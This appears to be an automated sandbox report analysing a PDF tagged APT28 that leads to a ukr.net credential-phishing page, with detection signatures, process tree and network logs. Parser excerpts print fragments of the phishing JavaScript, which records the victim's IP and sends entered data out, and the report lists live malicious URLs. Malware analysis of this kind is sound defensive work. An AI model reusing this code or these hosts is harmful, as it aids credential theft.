Edit tour

Windows Analysis Report
VM2ICvV5qQ.pdf

Overview

General Information

Sample name:	VM2ICvV5qQ.pdf renamed because original name is a hash value
Original sample name:	edeeb6bb575d972ae8d11805eaaaa681.pdf
Analysis ID:	1540848
MD5:	edeeb6bb575d972ae8d11805eaaaa681
SHA1:	5d0b7b416194652c0f3112bd07abd9224dff1049
SHA256:	a097400e060edf1190002a30c64506da0f72f92f96ed526b01cb4c00d5df2f0c
Tags:	APT28pdfUKRuser-smica83
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Detected TCP or UDP traffic on non-standard ports

Detected clear text password fields (password is not hidden)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Javascript checks online IP of machine

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 7296 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\VM2ICvV5qQ.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7472 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7664 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2056 --field-trial-handle=1576,i,17576929266965801877,15337024028248094855,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 4192 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "http://ukraine.html-5.me/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1208 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1948,i,13345882989207560503,15926659493507992015,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://run.mocky.io/v3/11273092-7220-4b85-b8d8-758c5fd141a2

SlashNext: Label: Credential Stealing type: Phishing & Social Engineering

Multi AV Scanner detection for submitted file

Source: VM2ICvV5qQ.pdf

ReversingLabs: Detection: 18%

Source: https://run.mocky.io/v3/11273092-7220-4b85-b8d8-758c5fd141a2

HTTP Parser: <input type="text"... for password input

Source: https://run.mocky.io/v3/11273092-7220-4b85-b8d8-758c5fd141a2

HTTP Parser: function wait(){$('button')[3].disabled='true';$('button')[3].style.backgroundimage="url(\"data:image/svg+xml,%3csvg width='37' height='37' viewbox='0 0 37 37' fill='none' xmlns='http://www.w3.org/2000/svg'%3e%3cpath fill-rule='evenodd' clip-rule='evenodd' d='m37 0h18l0 18v37l37 0zm0 55v74l37 37v18l0 55zm37 55l0 92h19l37 74v55z' fill='rgba(185,186,240,.4)'/%3e%3cstyle%3e path %7b animation: slide 1s infinite linear; %7d @keyframes slide %7b from %7b transform: translatey(0); %7d to %7b transform: translatey(-37px); %7d %7d%0a%3c/style%3e%3c/svg%3e%0a\")";}function nowait(){$('button')[3].disabled='';$('button')[3].style.backgroundimage='';}var respip=$.getjson('https://httpbin.org/ip');function send(data){data=data+'&ip='+respip.responsejson['origin'];var req=new xmlhttprequest();req.onreadystatechange = function() {console.log(req.responsetext); if (req.readystate == xmlhttprequest.done) {console.log(req.responsetext); if (req.responsetext=='end'){finaly();}e...

Source: http://ukraine.html-5.me/aes.js	HTTP Parser: var slowaes={aes:{keysize:{size_128:16,size_192:24,size_256:32},sbox:[99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22],rsbox:[82,9,106,213,48,54,165,56,191,64...
Source: http://ukraine.html-5.me/	HTTP Parser: function tonumbers(d){var e=[];d.replace(/(..)/g,function(d){e.push(parseint(d,16))});return e}function tohex(){for(var d=[],d=1==arguments.length&&arguments[0].constructor==array?arguments[0]:arguments,e="",f=0;f<d.length;f++)e+=(16>d[f]?"0":"")+d[f].tostring(16);return e.tolowercase()}var a=tonumbers("f655ba9d09a112d4968c63579db590b4"),b=tonumbers("98344c2eee86c3994890592585b49f80"),c=tonumbers("897e1239a65693762c1cc6c88ab7e977");document.cookie="__test="+tohex(slowaes.decrypt(c,2,a,b))+"; expires=thu, 31-dec-37 23:55:55 gmt; path=/"; location.href="http://ukraine.html-5.me/?i=1";

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49995 version: TLS 1.2

Source: global traffic

TCP traffic: 192.168.2.4:49763 -> 3.67.15.169:17461

Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZsVxVx1LNpAYCGc&MD=nW9gLpL4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v3/11273092-7220-4b85-b8d8-758c5fd141a2 HTTP/1.1Host: run.mocky.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://ukraine.html-5.me/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/8dbd585e-805d-4b14-8485-c6da4c3ef5a7 HTTP/1.1Host: run.mocky.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://run.mocky.io/v3/11273092-7220-4b85-b8d8-758c5fd141a2Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://run.mocky.ioSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://run.mocky.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /noppa/text-security/master/dist/text-security-disc.woff HTTP/1.1Host: raw.githubusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://run.mocky.iosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://run.mocky.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/lato-font/2.0.0/fonts/lato-bold/lato-bold.ttf HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://run.mocky.iosec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://run.mocky.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/loader-3VguyQcd.gif HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://run.mocky.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/loader-3VguyQcd.gif HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/favicon.ico HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://run.mocky.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/favicon.ico HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZsVxVx1LNpAYCGc&MD=nW9gLpL4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
